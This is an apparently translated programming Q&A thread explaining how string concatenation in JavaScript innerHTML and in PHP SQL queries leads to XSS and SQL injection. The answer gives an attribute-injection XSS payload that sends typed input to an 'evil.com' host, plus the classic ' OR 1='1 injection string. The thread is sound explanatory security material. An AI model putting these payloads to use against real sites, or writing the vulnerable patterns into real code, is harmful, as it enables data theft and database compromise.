为什么/如何连接会导致XSS或SQL注入漏洞？

Question

I was told recently (on here) that concatenating your Javascript will cause XSS vulnerabilities. I have done my research on here and on google to find out why this bad, but I am not seeing it.

Part 1 - Javascript: Apparently something like this is the unsafe way. Why? How should you do it instead?

// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text"  id="myId'+id+'"  />';
cellOne.appendChild(el);

Part 2 - MySQL: I was told that you when you concat SQL, it exposes you to SQL injections. I am not sure what they meant by concat SQL exactly. I assume they were not talking about the SQL concat function. I am guessing they meant:

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";

Or maybe?

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
     $sql .= " AND `col2` = '".$myvar.'";

Does this expose you to SQL injection?

The SQL part is academic. I use PDO to prevent SQL injection.

Answer 1

Part 1

It can be, if id comes from user input that persists on the page.

The id variable may contain...

" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="

Part 2

Unless those variables are escaped using the correct mechanism, there is a vulnerability.

The $myvar variable may contain...

' OR 1='1